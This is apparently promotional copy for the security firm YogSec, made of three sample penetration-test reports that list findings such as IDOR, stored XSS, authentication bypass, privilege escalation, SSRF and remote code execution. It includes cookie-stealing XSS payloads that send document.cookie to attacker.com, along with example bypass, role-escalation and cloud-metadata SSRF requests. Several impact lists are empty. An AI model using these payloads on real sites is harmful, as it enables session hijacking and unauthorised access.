This sample report demonstrates the depth and quality of vulnerabilities identified during a Free Website Security Health Check by YogSec. Even without intrusive testing, critical security risks can be detected through expert analysis and passive techniques.
The assessment identified multiple high-risk security weaknesses that could potentially be exploited by attackers without authentication. Immediate attention is recommended.
Severity: High
Several critical HTTP security headers are missing, exposing the website to client-side attacks such as clickjacking, XSS, and data injection.
Impact: Attackers may inject malicious scripts, trick users into interacting with hidden elements, or downgrade secure connections.
Severity: High
The SSL/TLS configuration allows outdated protocols and weak cipher suites, making encrypted communication vulnerable to interception or downgrade attacks.
Impact: Sensitive data such as login credentials and session cookies may be exposed to attackers on the network.
Severity: High
Multiple sensitive endpoints were discovered to be publicly accessible without authentication or access control.
Impact: Attackers may enumerate internal functionality, gather sensitive information, or prepare targeted attacks.
Severity: Medium to High
Cookies are missing important security attributes that help protect against session hijacking and cross-site attacks.
Impact: User sessions may be stolen through client-side attacks or malicious third-party scripts.
| Category | Issues Found | Risk Level |
|---|---|---|
| Security Headers | 4 | High |
| SSL/TLS | 3 | High |
| Access Exposure | 2 | High |
| Session Security | 3 | Medium |
The presence of high-risk findings during a free health check strongly indicates the need for a full security audit.
To validate exploitability and identify deeper vulnerabilities such as XSS, SQL Injection, authentication bypass, and business logic flaws, a Full Website Security Audit is recommended.
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Assessment Type: Manual + Automated Penetration Testing
Plan: Business Security Audit
Tested Assets: Web Application, API Endpoints, Authentication, Admin Panels
Testing Methodology: OWASP Top 10 + Real-World Attack Simulation
This assessment demonstrates the depth of vulnerabilities identified under the YogSec Business Plan. Unlike basic scans, this plan includes manual exploitation, logic testing, chained attacks, and privilege escalation checks.
Multiple Critical and High severity vulnerabilities were discovered that could allow:
Severity: Critical
Description:
An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the user account API. By modifying numeric identifiers, an attacker could access other users’ private data without authorization.
Impact:
Example Request:
GET /api/user/profile?id=1021
Business Risk:
This vulnerability can lead to mass data leaks, legal penalties, and severe trust loss.
Severity: Critical
Description:
User-controlled input was stored and later rendered inside the admin dashboard without sanitization. When an administrator viewed the affected page, attacker-controlled JavaScript executed automatically.
Impact:
Payload Example:
<script>fetch('https://attacker.com?c='+document.cookie)</script>
Severity: High
A logic flaw in the authentication workflow allowed login without proper password validation when specific request sequences were followed.
Impact:
Severity: High
The application fetched external URLs based on user input without validation, allowing attackers to force internal server requests.
Impact:
This report demonstrates how YogSec’s Business Plan identifies vulnerabilities that automated scanners and basic audits miss. These issues represent real attacker pathways that could be exploited in production.
Client: Confidential
Plan: Professional (Advanced Manual Pentesting)
Assessment Scope: Web App, APIs, Admin Panel, Authentication, Infrastructure
Testing Period: 7–14 Days
Methodology: OWASP Top 10, OWASP API Top 10, Real-World Adversary Simulation
This report represents the highest level of security testing provided by YogSec Professional Plan. The assessment goes beyond vulnerability discovery and focuses on complete attack chains, demonstrating how an attacker could move from a low-privileged user to full system compromise.
Multiple Critical vulnerabilities were identified that allow:
This chained exploitation demonstrates how a real attacker could fully compromise the application.
Severity: Critical
A logic flaw in the authentication mechanism allowed attackers to bypass password verification by manipulating request parameters and session handling.
Impact:
Example:
POST /api/login { "email": "victim@domain.com", "verified": true }
Severity: Critical
After bypassing authentication, the application failed to enforce role-based authorization. The attacker could modify role identifiers and gain administrative privileges.
Impact:
Example:
PATCH /api/user/role { "role": "admin" }
Severity: Critical
A stored XSS vulnerability allowed JavaScript execution inside the admin panel. When chained with privilege escalation, this enabled persistent admin session hijacking.
Payload:
<script>new Image().src='https://attacker.com?c='+document.cookie</script>
Impact:
Severity: Critical
The application allowed unrestricted server-side URL fetching. This was abused to access internal services and cloud metadata.
Impact:
Example:
http://169.254.169.254/latest/meta-data/
Severity: Critical
By chaining SSRF with a vulnerable internal service, YogSec achieved remote command execution on the application server.
Impact:
If exploited by a real attacker, these vulnerabilities could result in:
This report proves that YogSec does not stop at surface-level findings. We simulate real attackers, build exploit chains, and expose the vulnerabilities that truly matter.